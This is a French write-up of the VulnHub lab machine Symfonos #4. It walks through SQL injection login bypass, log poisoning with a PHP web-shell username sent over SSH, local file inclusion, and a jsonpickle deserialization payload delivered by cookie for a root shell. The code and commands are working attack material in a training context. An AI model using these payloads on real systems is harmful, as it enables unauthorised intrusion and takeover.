Accueil Solution du CTF Symfonos #4 de VulnHub
Post
Annuler

Solution du CTF Symfonos #4 de VulnHub

Jamais 3 sans 4 avec cet autre CTF.

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 192.168.56.115
Host is up (0.00023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 f9c17395a417dff6ed5c8e8ac805f98f (RSA)
|   256 bec1fdf13364399a683564f9bd27ec01 (ECDSA)
|_  256 66f76ae8edd51d2d36326439384f9c8a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)

Comme pour le précédent il faut énumérer un moment le serveur web avant de trouver quelque chose d’intéressant.

Un premier lieu je trouve un dossier /gods contenant trois fichiers à l’extension .log nommés après les dieux hades, poseidon et zeus.

Dans un second temps je trouve un fichier sea.php qui redirige vers une mire de login atlantis.php.

La mire de login en question est bypassable car on parvient à une zone authentifiée si on saisit le nom d’utilisateur ' OR '1'=1.

On a alors un champ select dont les valeurs correspondent aux noms de dieux précédents et la sélection de l’une des entrées affiche le fichier de log correspondant. On est donc sur une faille de directory traversal ou même d’inclusion PHP.

Le script ajoute donc de lui même le préfixe .log qui ne semble pas bypassable avec un null byte (%00 à l’ancienne) et l’inclusion distante n’est pas activée (donc on ne peut pas passer un préfixe http:// ou ftp://).

I am payload

Aïe, aïe, aïe il semble qu’on est condamné à inclure un fichier avec l’extension .log. Heureusement l’auteur du CTF a pensé à nous car /var/log/auth.log est accessible :

http://192.168.56.115/sea.php?file=../../../../var/log/auth

Pour injecter notre code PHP dans ce fichier de log on va se connecter via SSH avec un compte invalide :

1
ssh -l '<?php system($_GET[chr(99)]); ?>' 192.168.56.115

On peut désormais exécuter des commandes de cett façon :

http://192.168.56.115/sea.php?file=../../../../var/log/auth&c=whoami

Une fois un shell plus évolué obtenu je vais chercher le code PHP du formulaire de connexion :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
   define('DB_USERNAME', 'root');
   define('DB_PASSWORD', 'yVzyRGw3cG2Uyt2r');
   $db = new PDO("mysql:host=localhost:3306;dbname=db", DB_USERNAME,DB_PASSWORD);

   session_start();

   if($_SERVER["REQUEST_METHOD"] == "POST") {
   $username = $_POST["username"];
   $pwd = hash('sha256',$_POST["password"]);
   //if (!$db) die ($error);
   $statement = $db->prepare("Select * from users where username='".$username."' and pwd='".$pwd."'");
   $statement->execute();
   $results = $statement->fetch(PDO::FETCH_ASSOC);
   if (isset($results["pwd"])){
       $_SESSION['logged_in'] = $username;
       header("Location: sea.php");
   } else {
        $_SESSION["logged_in"] = false;
        sleep(2); // Don't brute force :(
        echo "<br /><center>Incorrect login</center>";
   } }
?>

C’est la bonne pioche car le mot de passe root du mysql permet de se connecter au compte local poseidon.

En cherchant les dossiers écrivables pour cet utilisateur je remarque un dossier inhabituel :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
poseidon@symfonos4:~$ find / -type d -writable 2> /dev/null | grep -v /proc | grep -v /sys
/run/user/1000
/run/user/1000/gnupg
/run/lock
/home/poseidon
/home/poseidon/.gnupg
/home/poseidon/.gnupg/private-keys-v1.d
/opt/code
/var/lib/php/sessions
/var/tmp
/dev/mqueue
/dev/shm
/tmp
poseidon@symfonos4:~$ ls -al /opt/code/
total 28
drwxr-xrwx 4 root root 4096 Aug 19  2019 .
drwxr-xr-x 3 root root 4096 Aug 18  2019 ..
-rw-r--r-- 1 root root  942 Aug 19  2019 app.py
-rw-r--r-- 1 root root 1536 Aug 19  2019 app.pyc
drwxr-xr-x 4 root root 4096 Aug 19  2019 static
drwxr-xr-x 2 root root 4096 Aug 19  2019 templates
-rw-r--r-- 1 root root  215 Aug 19  2019 wsgi.pyc
poseidon@symfonos4:~$ ss -lntp
State                       Recv-Q                       Send-Q                                             Local Address:Port                                             Peer Address:Port                      
LISTEN                      0                            80                                                     127.0.0.1:3306                                                  0.0.0.0:*                         
LISTEN                      0                            128                                                    127.0.0.1:8080                                                  0.0.0.0:*                         
LISTEN                      0                            128                                                      0.0.0.0:22                                                    0.0.0.0:*                         
LISTEN                      0                            128                                                            *:80                                                          *:*                         
LISTEN                      0                            128                                                         [::]:22                                                       [::]:

Cornichon JSON

On a visiblement une appli Flask qui tourne sur le port 8080 et on a les permissions d’écriture dans le dossier. Voici le code de l’appli :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import Flask, request, render_template, current_app, redirect

import jsonpickle
import base64

app = Flask(__name__)

class User(object):

    def __init__(self, username):
        self.username = username


@app.route('/')
def index():
    if request.cookies.get("username"):
        u = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
        return render_template("index.html", username=u.username)
    else:
        w = redirect("/whoami")
        response = current_app.make_response(w)
        u = User("Poseidon")
        encoded = base64.b64encode(jsonpickle.encode(u))
        response.set_cookie("username", value=encoded)
        return response


@app.route('/whoami')
def whoami():
    user = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
    username = user.username
    return render_template("whoami.html", username=username)


if __name__ == '__main__':
    app.run()

Ma première logique a été de créé un script jsonpickle.py dans le dossier /opt/code mais ça ne fonctionnait pas, sans doute car le code est déjà chargé par l’appli (éventuellement avec un reboot ça pourrait fonctionner).

Je me suis penché alors sur le module jsonpickle. Le module pickle de Python est connu pour être dangereux s’il désérialise des données non sûres, il y a fort à parier que ce soit la même chose pour jsonpickle.

Effectivement sur exploit-db je trouve une astuce pour créer un jsonpickle permettant l’exécution de commande : python jsonpickle 2.0.0 - Remote Code Execution - Multiple remote Exploit

Je parviens à obtenir quelque chose de sympathique de cette façon :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> jsonpickle.decode('{"1": {"py/repr": "os/os.system(chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(120))"}, "2": {"py/id": "67"}}')
sh: 1: /tmp/x: not found
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python2.7/dist-packages/jsonpickle/unpickler.py", line 41, in decode
    return context.restore(data, reset=reset, classes=classes)
  File "/usr/local/lib/python2.7/dist-packages/jsonpickle/unpickler.py", line 150, in restore
    value = self._restore(obj)
  File "/usr/local/lib/python2.7/dist-packages/jsonpickle/unpickler.py", line 207, in _restore
    return restore(obj)
  File "/usr/local/lib/python2.7/dist-packages/jsonpickle/unpickler.py", line 514, in _restore_dict
    data[k] = self._restore(v)
  File "/usr/local/lib/python2.7/dist-packages/jsonpickle/unpickler.py", line 207, in _restore
    return restore(obj)
  File "/usr/local/lib/python2.7/dist-packages/jsonpickle/unpickler.py", line 288, in _restore_id
    return self._objs[idx]
TypeError: list indices must be integers, not unicode

Ici je fais exécuter le fichier /tmp/x. J’ai eu à changer ça pour /dev/shm/x car l’appli Flask be semblait pas voir mon fichier dans /tmp (sans doute la magie noire de systemd).

Pour l’exploitation il faut encoder le payload en base64 puis le donner comme cookie à l’endpoint /whoami :

1
curl -D- http://127.0.0.1:8080/whoami -H "Cookie: username=eyIxIjogeyJweS9yZXByIjogIm9zL29zLnN5c3RlbShjaHIoNDcpK2NocigxMDApK2NocigxMDEpK2NocigxMTgpK2Nocig0NykrY2hyKDExNSkrY2hyKDEwNCkrY2hyKDEwOSkrY2hyKDQ3KStjaHIoMTIwKSkifSwgIjIiOiB7InB5L2lkIjogIjY3In19;"

Et kikiçé qui a un beau shell root qui ride de l’hippocampe ? :-D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ ncat -l -p 7777 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 192.168.56.115.
Ncat: Connection from 192.168.56.115:34120.
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
proof.txt
cat proof.txt

        Congrats on rooting symfonos:4!
 ~         ~            ~     w   W   w
                    ~          \  |  /       ~
        ~        ~        ~     \.|./    ~
                                  |
                       ~       ~  |           ~
       o        ~   .:.:.:.       | ~
  ~                 wwWWWww      //   ~
            ((c     ))"""((     //|        ~
   o       /\/\((  (( 6 6 ))   // |  ~
          (d d  ((  )))^(((   //  |
     o    /   / c((-(((')))-.//   |     ~
         /===/ `) (( )))(( ,_/    |~
  ~     /o o/  / c((( (()) |      |  ~          ~
     ~  `~`^  / c (((  ))  |      |          ~
             /c  c(((  (   |  ~   |      ~
      ~     /  c  (((  .   |      |   ~           ~
           / c   c ((^^^^^^`\   ~ | ~        ~
          |c  c c  c((^^^ ^^^`\   |
  ~        \ c   c   c(^^^^^^^^`\ |    ~
       ~    `\ c   c  c;`\^^^^^./ |             ~
              `\c c  c  ;/^^^^^/  |  ~
   ~        ~   `\ c  c /^^^^/' ~ |       ~
         ~        `;c   |^^/'     o
             .-.  ,' c c//^\\         ~
     ~      ( @ `.`c  -///^\\\  ~             ~
             \ -` c__/|/     \|
      ~       `---'   '   ~   '          ~
 ~          ~          ~           ~             ~
        Contact me via Twitter @zayotic to give feedback!

Publié le 21 février 2023

Cet article est sous licence CC BY 4.0 par l'auteur.